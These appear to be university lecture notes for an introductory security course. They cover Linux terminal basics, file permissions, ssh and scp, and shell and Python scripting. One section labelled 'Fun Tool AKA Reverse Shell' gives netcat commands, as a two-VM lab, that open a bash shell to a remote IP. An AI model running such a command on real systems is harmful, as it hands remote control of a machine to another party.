CY2550 Module 3

Basic Terminal Command and Basic Networking

Command line Terminal
• Type commands to interact with the computer.
• The computer offers feedback by printing text to the screen.
• Command line is very powerful, it is still actively being used for many
features within your computer.
• Faster and more precise, things can be copy/pasted, reviewed later.
• Anything that you can type within terminal, you can transform it into
a script that executes multiple tasks at once.
Terminal/Command Line/Shell
• They are referring to the same thing – the black box with blinky cursor
• The prompt itself has some useful information:
• The line before the dollar sigh tells us a few things
• It follows the order of xxx@yyyyyyyy where xxx is represented by the name of
the user while the yyyyyyyyyyyyy represents the name of the computer.
• Why do we need to know which computer this is?
• We will be using SSH which is a way for us to remotely accessing a device.
Getting Oriented
• There is a concept of current working directory, this tells you where
you are. Anytime you are typing in a command, you are doing so
relatively in the directory within a file system.
• If you ever want to know where your current directory is at any point,
type in PWD and it will print out your current directory.
• If you want to see what is all in the directory you are currently in, use
the command ls which shows the things within the current directory.
• You can convince yourself that you are correct by going to the file
browser
Getting Oriented Cont
• The content of the directory in terms of folders and files are in sync
with what you see on the command line, because you are at the same
directory location.
• If you want to move around to different location or different directory,
you will use the command cd location.
• Try to change your directory to the root, which is represented by /
• Once you do this, you should see that you are in slash, instead of tilda.
• If you do ls, you will see a bunch of other things.
• If you go to file browser -> other location -> computer, you will see the root.
File system structure
• Linux order file system a little bit differently. There are no C/D/E/F
drives, there is only one drive.
• If you insert USB drive, it shows up underneath media as a separate
folder.
• Now let’s return back to your home directory at /home using cd
• Check the working directory and then look for the items in directory.
• Change to your user folder using CD
Creating a directory/file
• Use the command mkdir to create a folder, you can specify the name
of the directory using mkdir name-of-folder
• You can also use touch to create a new file: touch file-name
• You can also copy files within system using cp the syntax is cp name-
of-file new-name-of-file. (cp test test-new)
• You can also move things using mv, this is the command for you to
move things around and rename files if you wish.
• Mv file-name new filename or mv filename /location/file-name
• Mv also works on directories.
Copying a directory…
• Let’s say we want to copy a directory in its entirety, this is a bit more
complex than copying a file.
• Cp directory-name/ backup-of-projects
• This will get you a error message indicating that you did not specify –r, thus
omitting the operation.
• The cp –r changes the behavior of copy command to copy recursively.
• If I do cp –r class-projects/ backup-of-projects/
Delete things
• Using the command RM file name to remove files
• Similarly , if you try to remove a directory, it gets a little bit more
complex.
• When you delete a directory, there may be other directory or files
within it. If you want to delete a directory, you have to give it the –r
option to make it a recursive delete.
• If you do rm –r class-projects it works and should remove that
directory.
Directories and how to navigate the file
system
• When we move around the system using shell, we need to provide
the full path of destination.
• This works but is not necessarily convenient.
• Instead of typing fully qualified path, you can also do cd cbw or cd home
• Tilda is the home directory shortcut
• If you use cd ~ it takes your back to your home directory
• If you use single period, it stays where you are.
• If you use double period, it takes you back one directory.
• If you are in home/username and type in cd .. You will end up in home/
Linux Built in Help System
• Linux offers a help system that allows you to obtain help on
commands, it is called the man pages for manual. Syntax is man
• If you have a particular command that you are concerned about, you can do
man name-of-command (e.g man ls)
• This offers you help information about the command.
• It also offers parameters that you can give to ls to change its behavior.
• Ls –a (shows all files, including hidden files)
• If a file name begins with a period, it is considered hidden and will not
be shown by default.
• LS –l presents directory as a list and meta data of each folder
Useful shortcut
• Occasionally, you will not see me type out the entire command,
because I am using a shortcut.
• If you press up and down arrow, it will access your command history.
• This allows you to go back to your previously executed commands and repeat
the action if needed.
• Another helpful shortcut is the tab key
• Instead of typing directory and names in full, if you type it in partially, press
tab, it will automatically complete the entry for you.
Read and write file
• Using touch my-notes.txt – this creates the file
• You can use nano/vim/emacs or any text editor (nano my-notes.txt)
• If you type something and you have finished, press control O to save
it, and then ctrl X to quit.
• You can use cat, the concatenate feature to display the content of a
file.
A tiny bit of networking…
• You can get remotely connect to a machine
• You can use the virtual machine you have and remotely connect to
another machine and execute commands on there.
• You can use the khoury linux by doing a secure shell to
login.ccs.neu.edu.
• The idea of ssh is to login to the machine and provide the user a terminal.
• The first time you login, you will receive a message regarding cryptographic
key, you can press yes.
• This allows you to sit at your computer, using the terminal to access a
different machine/remote server.
You can also copy file from remote machine
• You can use the command scp to copy files to remote machines.
• Scp my-notes.txt login.ccs.neu.edu:/home/hawang
• It will ask for your password, then you will see a transfer bar
• Now let’s ssh into the remote machine and see if it arrived.
• Then do a cat to see the content.
• Now, you are fully equipped to maneuver around the file system.
File permissions
• File permission in Linux revolve around users, groups and others.
• When accessing files, these are permission that determine whether
you have access to those or not.
• Each user account can be part of different groups
• Use groups command
• If we go to a directory and do ls –l we can see the permission of items
• The first column represent the user who owns the file
• The second column is the group that owns the file.
• By default when you make the file, the file will be owned by you and your
group.
File Permission Metadata
• What about the dashes, the r, the w and the x?
• R stands for read permission
• W stands for write permission
• X stands for execution permission
• The first three digits are permission associated with owner
• The second group of three are associated with the group
• Anyone within the owner group has these permissions
• The third group are the permission for others, meaning anyone else
who aren’t the owner or within the owner group
File Permission Changes
• If we have execution and read file permissions, we can run it, read it
but not write it.
• When we need to modify file permission for things we own, we can
use the command chmod
• The syntax is chmod ugo (u= user g=group o=other) –(+)w file name
• To make things executable, you can do chmod ugo+x names
• Lets make a directory and test things out
• The execute/read permission directory allows you to see what is in there
• The first letter d represents that this is a directory.
Changing Permission Continued
• There are other ways to use chmod –octal syntax
• You can use chmod 777 test/ which sets all the permissions
• Or you can use chmod 770 test/
• If you are ever confused, you can use the man page.
• Changing ownership and group information for files.
• Chown = change owner
• Chown cbw:cdrom names (from:to names)
• If you assign it to a group that doesn’t exist or you are not a part of, it wont
work.
• Most user accounts are not allowed to change file owners.
Fun Tool AKA Reverse Shell
• Have two virtual machines
• In the attacker (Ubuntu) type in nc –lnvp port# -s IP address
• (i.e nc –lnvp 8888 –s 23.239.11.177)
• In the Victim (kali) type in nc –e /bin/bash IP address of kali port
• (i.e nc –e /bin/bash 23.239.11.177 8888
Scripting
• Let’s say we are doing a series of commands repetitively.
• When you write a script, you can combine them all together and
execute it once and for all.
• Open/create a text file
• Start with #!/usr/bin/bash to tell the OS what language the script is
• Echo “this is my script”
• Ls –l
• Touch new-file-v2
• Each line of the entry is a separate command to be executed.
Scripting Cont.
• Once the script file has been created, you can use chmod to change
the permission of the file.
• Once you finish the permission of the file, you are now ready to
execute the script.
• However, if you do not specify a path, it looks for the script in the
system directory, where all normal utilities are located.
• You can use the ./my-script to run the program
• The reason why you need to do that is because you need to tell the
Linux system where your file is in order to execute it.
Relatively More Advanced Scripting
• You can accept input from the command line through your script.
• Start with the #!/usr/bin/bash
• Type echo “Received $# args on the command line”
• Type let “i=1”
• For arg in “$@”
• Do
• Echo “Arg $i is $arg” #this prints out the argument and the value of argument
• i=$((i+1)) #increment I and repeat the loop.
Done
This is setting up a loop that goes through the arguments in $@ which contains all
the command line arguments that got passed into the script.
One more script
• You can use different language to write the script if you’d like.
• We can use #!/usr/bin/env python3
• Import sys
• Print(f’Received {len(sys.argv)} args on the command line’)
• For I, arg in enumerate(sys.argv):
Print(f’Arg {i} is {arg}’)
• In bash, the first argument is the name you specified, in python the
first argument is the name of the program.
• You have perl, ruby lua, php, python, bash, there are many options!
Mini-Exercise:
• Let’s assume you are using ssh and connecting to a remote machine.
• I want you to write a script that does the following things:
• Display on the command shell that “Hello World! This is a test script”
• Run the commands that displays the current working directory and list all
items within the current directory in list mode with permission.
• Create a new file name new-file-v2 and then create a directory that is named
ScriptTest
• Move the new-file-v2 into the ScriptTest directory
• Display on the command shell that you are done.
• Terminate your connection through ssh.
Complex input and input/output redirection
• When you specify input, you can use quotes (“” or ‘‘) to group
arguments before passing it to the operating system.
• Try running the print-args program and pass in several parameters
into it (e.g pass in Cybersecurity “CY-2550 Fall” and something else)
• When running the script by passing in tilda (~), it will translate the
special meaning and output the meaning (in this case the home
directory path).
• When running the script by passing in * (wild card) which prints all
files within the current working directory.
• You can escape the character by leading with a slash (\).
Complex Input
• We have discussed the cat command where we can use to view the
content within a file without opening the file in editor.
• We can now combine that with the pike command (|) which chains
the commands together. In this case, it sends the output of a file to
another program
• (cat names | sort) or (cat names | sort | uniq) or cat names | sort –r | uniq
• The ps program prints out the name of the running program.
• We can pass in –aux to see all information for all processes from all users
• Lets say we are particularly interested in a specific entry, we can use grep to
search for it
• Ps –aux | grep bash
Input/Output re-direction
• You can redirect the input/output of a command into a file using “>”
• The “>” redirect the messages sent to STDOUT (1st stream)
• If you do ./stdio-demo Hello World 2> log.txt it will redirect the
message in STDERR(2nd stream) to the output file.
• If you do ./stdio-demo Hello World &> log.txt
• In the case where you want to append instead of replace, do >>
instead of >
• You can also do ./stdio-demo < input.txt, this takes the content of the
file and send it into the demo script as an input.